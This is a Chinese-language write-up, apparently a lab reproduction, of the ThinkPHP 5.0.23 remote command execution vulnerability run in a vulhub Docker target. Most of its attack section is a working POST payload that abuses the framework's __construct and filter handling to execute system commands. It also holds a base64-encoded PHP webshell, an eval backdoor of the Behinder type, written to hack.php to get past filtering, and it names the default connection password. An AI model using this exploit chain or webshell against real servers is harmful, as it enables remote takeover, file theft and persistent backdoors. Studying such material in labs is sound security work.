漏洞介绍
影响版本
Thinkphp <= 5.0.23
漏洞原理
ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
漏洞威胁
任意命令执行、上传木马和后门、读取敏感文件等
防护方式
升级thinkphp框架版本,因为这个漏洞只能影响的对应的版本。
漏洞复现
环境搭建
通过docker启动vulhub中自带的靶场进行复现该漏洞
cd vulhub/thinkphp/5.0.23-rce/ #进入漏洞环境所在目录
docker-compose up -d #启动靶场
docker ps #查看容器信息
复现过程
访问首页
寻找漏洞点
在IP:8080/index.php?s=captcha也页面通过POST方法发送
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=命令
就可以实现远程命令执行
该漏洞可以通过两种方式实现:一种是hackbar,另一种是BurpSuite
- HackBar
通过浏览器插件HackBar可以发送POST请求来进行漏洞复现
- BurpSuite
通过BurpSuite抓包修改请求包内容来进行漏洞利用
漏洞利用
对shell脚本进行编码
如果直接将shell.php上传,无法直接上传,因为thinkphp对脚本进行过滤,所以对shell脚本需要进行Base64加密绕过
通过远程执行漏洞上传shell脚本到hack.php文件中
payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n 'aGFjaz1lY2hvICI8P3BocApAZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CiAgICAka2V5PSJlNDVlMzI5ZmViNWQ5MjViIjsKCSRfU0VTU0lPTlsnayddPSRrZXk7CglzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJykpCgl7CgkJJHQ9ImJhc2U2NF8iLiJkZWNvZGUiOwoJCSRwb3N0PSR0KCRwb3N0LiIiKTsKCQkKCQlmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHsKICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgCiAgICAJCQl9Cgl9CgllbHNlCgl7CgkJJHBvc3Q9b3BlbnNzbF9kZWNyeXB0KCRwb3N0LCAiQUVTMTI4IiwgJGtleSk7Cgl9CiAgICAkYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTsKICAgICRmdW5jPSRhcnJbMF07CiAgICAkcGFyYW1zPSRhcnJbMV07CgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319CiAgICBAY2FsbF91c2VyX2Z1bmMobmV3IEMoKSwkcGFyYW1zKTsKPz4K' | base64 -d > hack.php
通过冰蝎连接
通过webshell工具连接后可以对服务器进行危险的恶意操作,包括读取文件和操作文件等。
默认密码:rebeyond